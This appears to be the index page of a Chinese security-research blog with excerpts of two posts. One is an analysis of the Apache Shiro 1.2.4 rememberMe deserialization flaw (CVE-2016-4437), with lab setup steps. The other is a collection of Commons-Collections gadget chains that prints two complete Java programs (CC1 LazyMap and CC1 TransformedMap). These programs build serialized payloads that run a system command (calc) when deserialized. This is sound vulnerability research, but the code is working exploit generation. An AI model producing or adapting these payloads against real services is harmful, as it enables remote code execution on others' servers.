Notes Site.

Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

漏洞概述

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

Shiro1.2.4:https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

编辑 shiro/web 目录下的 pom.xml,将 jstl 的版本修改为1.2

1
2
3
4
5
6
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>

IDEA导入 mvn 项目,配置 tomcat 环境

image-20231205101411888

漏洞分析

根据漏洞描述,Shiro≤1.2.4 版本默认使用 CookieRememberMeManager,当获取用户请求时,大致的关键处理过程如下:

Read More
post @ 2023-11-30

CC-GadgetChainMap

image-20231219123305619

CC1_LazyMap

1
2
3
4
5
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

/*
Dependent version:
commons-collections: 3.1
Jdk < 8u71

Gadget chain:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
*/

public class CommonsCollections1_LazyMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(),chainedTransformer);

// AnnotationInvocationHandler构造方法是default,不能直接获取,反射
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
// 创建动态代理对象,这里不用进入AnnotationInvocationHandler的if判断,第一个参数就可以随便传
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);

// 被动态代理的对象调用任意方法都会调用对应的代理类的invoke方法,AnnotationInvocationHandler.invoke() -> LazyMap.get()
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);

// 实例化AnnotationInvocationHandler
Object obj = constructor.newInstance(Override.class,mapProxy);

System.out.println(Base64.getEncoder().encodeToString(serialize(obj)));
deserialize(serialize(obj));
}

public static void deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}

public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}

}

CC1_TransformedMap

1
2
3
4
5
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

/*
Dependent version:
commons-collections: 3.1
Jdk < 8u71

Gadget chain:
AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
*/

public class CommonsCollections1_TransformedMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 这里HashMap的key是下面初始化AnnotationInvocationHandler时传入的注解类中存在的属性值
HashMap<Object,Object> map = new HashMap<>();
map.put("value","0");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

// AnnotationInvocationHandler是default,不能直接获取,反射
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
// 这里要进入AnnotationInvocationHandler的if判断
Object obj = constructor.newInstance(Target.class,transformedMap);

System.out.println(Base64.getEncoder().encodeToString(serialize(obj)));
deserialize(serialize(obj));
}

public static void deserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}

public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}

}

CC6

1
2
3
4
5
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
Read More
⬆︎TOP